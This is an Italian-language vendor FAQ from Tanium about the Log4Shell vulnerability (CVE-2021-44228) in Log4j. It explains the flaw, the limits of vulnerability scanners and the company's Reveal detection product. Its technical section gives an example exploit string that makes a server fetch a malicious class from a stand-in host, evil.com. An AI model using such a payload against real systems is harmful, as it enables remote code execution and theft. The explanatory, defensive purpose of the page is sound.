Il mondo dell’informatica è rimasto sconvolto alla fine del 2021 , in seguito alla divulgazione di una vulnerabilità critica di tipo “” nel Log4j, una diffusa utility di registrazione basata su Javagestita dalla Apache Software Foundation. Sebbene sia praticamente sconosciuto al di fuori del settore, viene utilizzato in migliaia di programmi in tutto il mondo su diversi sistemi operativi. Con un punteggio CVSS pari a 10,0, il primo bug individuato nel prodotto (“Log4Shell”) rappresenta il massimo livello di gravità che una vulnerabilità possa raggiungere. Infatti, il sistema Log4j è stato oggetto di oltre 800.000 attacchi nel giro di 72 ore dalla pubblicazione della vulnerabilità.
A seguito dell’enorme ondata di pubblicità relativa alla vulnerabilità, gli esperti dell’ Tanium sono stati sommersi da domande. Che cos’è il Log4Shell? In che modo può essere sfruttata? E in che modo le organizzazioni possono reagire? Per risparmiare tempo e per aiutare le organizzazioni di tutto il mondo a reagire e a mitigare gli effetti, abbiamo raccolto qui di seguito le domande più frequenti che ci sono state poste e le relative risposte.
Che cos’è CVE-2021-44228 (Log4Shell)?
Log4Shell è una vulnerabilità di esecuzione di codice da remoto (RCE) che consente a un malintenzionato di eseguire codice inducendo un'applicazione a scrivere nel file di log. L’inserimento di parametri nei campi di testo delle applicazioni e altri eventi di registrazione sono pratiche comuni, il che spiega in parte perché la vulnerabilità sia così diffusa.
La libreria vulnerabile potrebbe essere presente nei sistemi client e non è limitata alle applicazioni web accessibili al pubblico.
Gli aspetti tecnici
Per sua natura, Log4j consente ai messaggi di contenere riferimenti a informazioni esterne tramite un’API denominata JNDI ( Java Naming and Directory Interface). La funzionalità JNDI consente di accedere a tali riferimenti esterni tramite diversi protocolli, tra cui il Lightweight Directory Access Protocol (LDAP).
Quando un malintenzionato invia una stringa creata in modo malevolo, come ad esempio ${jndi:ldap://evil.com/bad}, il server interpreterà tale messaggio come una richiesta di collegamento al server LDAP (evil.com) e di recupero dell’oggetto “bad”. Il server evil.com, controllato da un malintenzionato, indurrà quindi l’applicazione a caricare una classe Java dannosa (bad.class).
Qualora sia presente la versione Log4j vulnerabile e l’autore dell’attacco abbia il controllo di un server LDAP, il file `bad.class` può contenere qualsiasi istruzione desiderata dall’autore dell’attacco, aprendo così la strada a una vasta gamma di possibili attacchi, dal ransomware al cryptojacking fino al furto di informazioni.
Oltre alla vulnerabilità RCE, le versioni vulnerabili non effettuano la convalida dell’input della chiamata JNDI, il che potrebbe comportare l’esposizione delle variabili di sistema a operazioni di enumerazione ed esfiltrazione.
Si è registrato un aumento delle vulnerabilità nella catena di fornitura del software (ad esempio, Struts, NPM). Come si colloca il modello Log4J rispetto agli altri?
La vulnerabilità Log4J è simile a quella descritta all’indirizzo , in quanto si tratta di una vulnerabilità che le organizzazioni non possono correggere autonomamente, a meno che non si tratti di un’applicazione sviluppata e gestita internamente.
La vulnerabilità Log4J è diversa perché è probabilmente quella con la portata più ampia e il livello di gravità più elevato che abbiamo riscontrato negli ultimi dieci anni o più e non è destinata a scomparire a breve. Riguarda tutti i tipi di sistemi operativi e può interessare il software libero/open source, le applicazioni aziendali, i client, i server, i dispositivi IoT — praticamente ovunque. Può essere sfruttata da remoto, utilizzata per il movimento laterale e il rilevamento dello sfruttamento si basa su regole basate su firme che gli autori degli attacchi aggirano sistematicamente.
Le organizzazioni sono state costrette a individuare i punti vulnerabili del proprio parco applicativo, per poi richiedere la documentazione ai responsabili delle applicazioni o agli sviluppatori al fine di reperire una patch o una misura di mitigazione e implementarla su larga scala.
Quali sono alcuni luoghi comuni diffusi riguardo al corso Log4j?
- È facile applicare una patch
- Riguarda esclusivamente i sistemi esposti a Internet
- Le organizzazioni possono correggere autonomamente tutte le istanze della vulnerabilità
- È sufficiente cercare gli elenchi delle applicazioni installate per identificarlo
In che modo Tanium può aiutare a individuare Log4j casi?
Uno dei motivi per cui il Log4Shell è così pericoloso è che il Log4j può essere difficile da individuare.
Le organizzazioni potrebbero avere centinaia di programmi installati nel proprio ambiente che utilizzano questa libreria. Poiché la vulnerabilità è presente nella libreria utilizzata dall’applicazione, non sono in grado di modificare l’applicazione stessa. Devono attendere che i fornitori di tutti i loro software procedano alla valutazione, all’applicazione delle patch e al rilascio degli aggiornamenti. Inoltre, un’analisi delle app installate o delle vulnerabilità CVE non fornirà indicazioni su quali pacchetti software utilizzino questa libreria.
Tanium Reveal si distingue per la sua capacità unica di estrarre informazioni dai file. Può Detect manifest.mf, pom.xml o altre indicazioni della presenza di Log4j all’interno delle librerie compresse. In questo modo, Tanium Reveal rappresenta l’unica soluzione in grado di andare oltre il nome o l’estensione di un file e di esaminarne il contenuto. Nel caso del CVE-2021-44228, possiamo cercare file JAR vulnerabili (file .JAR) all’interno di file JAR contenuti a loro volta in altri file JAR.
Tanium e i nostri partner possono mostrare ai clienti Log4j casi che risultano latenti o nascosti ad altri strumenti. Per fornirvi assistenza, offriamo supporto gratuito sia ai nuovi clienti che a quelli già esistenti per risolvere e individuare la vulnerabilità.
Cosa dovrebbe fare un’organizzazione quando “ Reveal ” individua una possibile corrispondenza?
Tanium Reveal Le mostrerà i file che corrispondono ai modelli, ma ciò non costituisce un'indicazione certa di vulnerabilità. Le tecniche di convalida dei dati PHI o PII in Reveal sono disponibili all’indirizzo e possono essere consultate qui e nella presente documentazione . Una corrispondenza della versione Log4j potrebbe non richiedere una verifica approfondita.
Tuttavia, se necessario, è possibile passare rapidamente dai risultati di Reveal all’azione concreta per individuare il prodotto da cui proviene un file sospetto, verificare la vulnerabilità relativa a tale fornitore e decidere se applicare una patch o rimuovere il file.
Tanium offre diverse opzioni per approfondire l'analisi e individuare i risultati veri o falsi. Si tratta di suggerimenti relativi a soluzioni possibili, ma l’elenco non è esaustivo e dipenderà in larga misura dal contesto dell’organizzazione e dai flussi di lavoro, dalle politiche e dai processi esistenti.
È importante sottolineare che non si tratta tanto di una risposta a un incidente quanto piuttosto di una situazione di ricerca proattiva delle minacce. I prossimi passi dipenderanno in larga misura dai risultati emersi dall’organizzazione interessata. SANS mette a disposizione un'ottima scheda riassuntiva sul modello PICERL ( ) per la risposta agli incidenti disponibile qui. Secondo questo modello, “ Tanium Reveal ” e “Index” rientrano nelle fasi di “Preparazione” e “Identificazione”.
In che modo lo scanner della CISA può essere d’aiuto?
Il 21 dicembre 2021, la CISA ha pubblicato una versione dello strumento open source “ Log4j Scanner”, originariamente creato da fullhunt.io. Sebbene sia utile, lo scanner funzionerà solo se lo indirizzerete verso una posizione in cui siano presenti un’ endpoint e vulnerabile e un’applicazione in ascolto. Potrebbe comunque non individuare alcuni endpoint vulnerabili a causa delle incertezze relative alla configurazione dei sistemi.
Anche qualora le organizzazioni intendessero avvalersi di questo strumento, dovrebbero comunque ricorrere a Tanium Reveal per definire con maggiore chiarezza l’elenco degli endpoint che intendono sottoporre a test. Dovrebbero inoltre tenere presente che questo scanner non Detect i file .JAR vulnerabili presenti sul disco o nei backup, né quelli che non sono in esecuzione al momento della scansione.
Inoltre, lo scanner non offre la possibilità di mitigare le vulnerabilità né di applicare patch aggiornate alle applicazioni vulnerabili. Si tratta di un altro strumento importante a sostegno degli sforzi volti a risolvere il problema Log4j , ma non dovrebbe essere considerato un metodo definitivo o esaustivo.
Perché l’analisi delle vulnerabilità risulta inefficace se utilizzata da sola?
- Gli aggiornamenti delle definizioni richiedono tempo e tali definizioni dipendono dalla comunicazione dello stato di vulnerabilità da parte dei fornitori di software
- Spesso si basa su applicazioni note per la loro vulnerabilità. Log4j, come altre librerie, richiederà un’analisi approfondita attraverso i vari livelli del software presente nel vostro ambiente per identificare con certezza
- Molti scanner di vulnerabilità utilizzano un metodo di tipo “spray and pray” per lo sfruttamento innocuo delle vulnerabilità. Ciò è efficace solo in parte. È necessario che il servizio vulnerabile sia in ascolto sulla porta che state sottoponendo a scansione. Se l’applicazione è inattiva sul disco, tali scanner non la Detect ranno.
Come si fa a sapere quando si è risolta la vulnerabilità Log4j ?
Una volta applicate tutte le patch a tutte le istanze del software — ma a quel punto, inevitabilmente, ci saranno nuove vulnerabilità da risolvere. È importante considerare la sicurezza come un processo, non come una lista di controllo o un’attività che si possa spuntare come “completata”. Il panorama delle minacce continua a evolversi. Ogni volta che una nuova risorsa entra a far parte della vostra rete e ogni volta che un ricercatore individua un nuovo bug, avrete più lavoro da svolgere. Ecco perché la capacità di reagire in modo dinamico è fondamentale. Cambiare la mentalità che consente il mantenimento di applicazioni obsolete solo perché sono “fondamentali”. Dobbiamo accettare il cambiamento, non il rischio. Risk L'accettazione è una strategia che Le consente di avere il tempo necessario per gestire il cambiamento, non uno stato permanente.
Quanto tempo occorre per rendersi conto di essere stati esposti?
Le organizzazioni possono implementare " Tanium Reveal " nel giro di poche ore e iniziare immediatamente a raccogliere risultati che potranno poi utilizzare per riorientare la propria strategia investigativa e di ricerca.
È possibile avvalersi di un partner per utilizzare Tanium al fine di individuare o risolvere il problema Log4j?
Sì. La maggior parte dei partner di Tanium in tutto il mondo è già stata informata ed è pronta a fornire servizi volti a supportare qualsiasi aspetto della fase di analisi o di correzione del programma Log4j , oppure a contribuire a ottimizzare ulteriormente la struttura di sicurezza attraverso il consolidamento e la razionalizzazione degli strumenti.
In quali altri modi può esservi d’aiut Reveal ?
Tanium Reveal può aiutare a individuare e risolvere il problema Log4j tramite:
- Individuazione delle password esposte
- Condurre la caccia dinamica
Cosa devo sapere in merito all’avviso della FTC relativo al numero Log4j?
La Federal Trade Commission (FTC) ha emanato delle disposizioni secondo cui tutte le aziende sono tenute a individuare e correggere questa vulnerabilità, poiché essa è grave quanto, se non più grave, del bug presente in Apache Struts, che ha causato la famigerata violazione dei dati di Equifax . La FTC e la CISA riconoscono che viviamo in una situazione precaria, in attesa che venga scoperta una violazione che faccia scalpore.
È probabile che alcune organizzazioni globali siano già state compromesse tramite Log4Shell e che gli autori degli attacchi stiano analizzando di nascosto le loro reti, sottraendo dati e preparando ulteriori attacchi. Ci vorrà molto tempo prima che ci rendiamo conto del vero impatto di questa vulnerabilità.
Se avete ulteriori domande relative all’ , riguardanti il Log4j , oppure desiderate usufruire del nostro servizio gratuito per individuare questa vulnerabilità, vi invitiamo a contattarci oggi stesso.
I clienti esistenti possono trovare informazioni più dettagliate su su come individuare e risolvere il problema Log4j nel nostro articolo della Community all’indirizzo Tanium . Queste informazioni vengono aggiornate regolarmente man mano che si rendono disponibili nuovi dati.
